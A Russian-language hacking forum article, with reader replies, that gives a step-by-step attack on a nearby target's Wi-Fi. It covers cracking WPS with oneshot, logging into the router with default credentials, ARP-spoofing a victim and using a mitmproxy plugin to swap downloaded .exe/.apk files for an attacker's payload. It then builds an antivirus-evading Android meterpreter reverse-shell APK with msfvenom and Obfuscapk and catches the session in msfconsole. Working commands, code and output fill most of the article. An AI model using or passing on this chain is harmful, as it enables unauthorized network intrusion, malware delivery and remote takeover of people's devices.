Статья Target Wi-FI pwn -> MITM File injection -> meterpreter session (или еще одна статья по митму)

Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси.
пару строчек кода на питоне, в качестве плагина для митмпрокси
msfvenom -
генератор нашего импланта
msfconsole - хендлер нашего бекконекта :D
obfuskapk - опенсоурсній криптер для APK

0)
Код:
ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертві.
Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно выйти из машины и пройтись вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности.
откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем

# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
если ті на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd
если ті не на линуксе - ставь линукс.
service networking restart

Важный момент - NetworkManager не совместим с networking - это два разных сервиса на Линукс системах. Обычно из коробки они оба присутствуют в системе, но работает гравический вариант - то есть первый. Я же не люблю его, так как он часто мешает и самостоятельно переподключается к т.д. с лучшим сигналом и тому подобное. Так что его мы выключаем, а включаем networking

далее, смотрим что мі в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20<link>
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0
увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n
Код:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    0      0        0 wlx00c0caa79483
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlx00c0caa79483
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.

Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet.

Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│     IP ▴      │        MAC        │      Name       │            Vendor             │ Sent  │ Recvd │   Seen   │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤
│ 192.168.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                               │ 0 B   │ 0 B   │ 09:17:23 │
│ 192.168.0.1   │ c4:71:54:c3:9b:a6 │ gateway         │ Tp-Link Technologies Co.,Ltd. │ 25 kB │ 27 kB │ 09:17:23 │
│               │                   │                 │                               │       │       │          │
│ 192.168.0.2   │ 30:b5:c2:d3:72:8a │                 │ Tp-Link Technologies Co.,Ltd. │ 32 kB │ 28 kB │ 09:17:48 │
│ 192.168.0.100 │ d0:03:df:1b:0f:b7 │                 │ Samsung Electronics Co.,Ltd   │ 0 B   │ 0 B   │ 09:17:36 │
│ 192.168.0.102 │ c8:3d:dc:12:35:55 │                 │                               │ 30 kB │ 31 kB │ 09:17:48 │
│ 192.168.0.103 │ fe:f5:82:11:f9:0f │                 │                               │ 23 kB │ 25 kB │ 09:17:46 │
│ 192.168.0.104 │ b4:74:43:f9:b8:11 │                 │ Samsung Electronics Co.,Ltd   │ 38 kB │ 41 kB │ 09:17:46 │
│ 192.168.0.106 │ 9c:4e:36:6b:1d:98 │                 │ Intel Corporate               │ 0 B   │ 37 kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, цель мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"):
        print("[+] О, дивись, під вінду щось качае гад")
        #flow.request.host = "mitmproxy.org"
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/EU.exe"})
        print("[?] Осьо получи фашист гранату")

    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"):
        print("[+] О, дивись, під андроїд щось качае гад")
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/calc.apk"})
        print("[?] Осьо получи фашист гранату")
смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py

ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf
Bash:
table ip filter {
    chain FORWARD {
        type filter hook forward priority 0; policy accept;
    }

    chain INPUT {
        type filter hook input priority 0; policy accept;
    }

    chain OUTPUT {
        type filter hook output priority 0; policy accept;
    }
}
table ip nat {
    chain PREROUTING {
        type nat hook prerouting priority -100; policy accept;
        iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080

    }

    chain INPUT {
        type nat hook input priority 100; policy accept;
    }

    chain POSTROUTING {
        type nat hook postrouting priority 100; policy accept;
        oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
    }

    chain OUTPUT {
        type nat hook output priority -100; policy accept;
    }
}

потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:
any.proxy (not running): A firewall redirection to any custom proxy.

   any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
     any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
     any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
     any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как алабай на алкаша в три часа ночи в частном секторе.

по этому мы заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01<00:00,  8.84s/obfuscator]
files: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████|[00:07<00:00, 984.63file/s]
полученній obf.apk положим на наш сервак и назавем его к примеру calc.apk

запускаем метасплоит
# msfconsole

Код:
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v5.0.67-dev-                         ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
use exploit/multi/handler
msf5 exploit(multi/handler) >
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
все. ждем пока жертва запустит нагрузку.

Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1         meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи

IMG-20200101-WA0016.jpeg
 
23.12.2020
19
2
BIT
3
Перенес в статьи.
На будущее можно добавить больше скриншотов и описаний (теории).
Мужики. Автор же красавчик, очень старался.

А на счёт дополнений или мата и сленга. На мой взгляд достаточно скринов и кода. Кто поймёт тот поймёт, остальным ничего не поможет. Для видео есть ютуб. Прочтение быстрее всегда. Нечего там наглядно смотреть на мой взгляд. Пялиться в монитор и слушать это же для детей. Тик-токеров. Ютуберов. Блогеров.
Сейчас все от 3 лет до 25 пяляться на ютубы, но не способны сосредоточиться дольше трёх секунд. Уже психологи тревогу бьют на эту тему.
Не привыкайте к видосикам умоляю. Читать быстрее и понятнее.

МИ ЖЕ АЙТИШНИКЕ! Скорочтение. Английский и слепая десятипальцевая печать наше оружие. А не видосики. Видосики для детей, взрослым для развлечения ну или когда руками работаешь чтобы паять, ардруинку собирать сразу повторяя. Не могу в толк взять зачем смотреть и слушать ещё.

Кому не жалко подкиньте ответ. шо тут с мультицитированием на форуме. Он по умолчанию не цитирует тех кого жмакнул или причина в том.

Или проблема в том что уже сутки третьи идут а в сумме 3 раза по 2 часа поспал. В Давинчи я конечно не превратился. Но депривация вещь интересная.
Перенес в статьи.
На будущее можно добавить больше скриншотов и описаний (теории).

Автор молодец! И понятно и юмор есть (не сухо расписал)
Отличная статейка вышла. Тяжело бы спотыкаться об лёгкое подобие языкового барьера, но там же понятно всё
если ті не на линуксе - ставь линукс.

в голос
"Если ты на линукс" - я прям орнул в голос. ХЗ почему) Наверное потому что кто в здравом уме пентестит не на линуксе? Или такое бывает?
Уважаемый Автор.
Ваша статья в целом не плоха - но не могли бы вы воздержаться от употребления нецензурной брани и школьного сленга в её изложении?
К сожалению, отправлена в песочницу для исправления.
Забанили беднягу надеюсь не за мат?))) Почему сразу школьный, районный местный возможно. Что поделать если люди так разговаривают. Привычка вторая натура. Помоему само текстовое описание вообще не нужно если хоть чуть чуть понимаешь в тематике.

Добавил права на редактирование
А не было бы логичнее по умолчанию давать автору права на редактирования? Или причина есть для такой политики. И она связана с тематикой форума?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!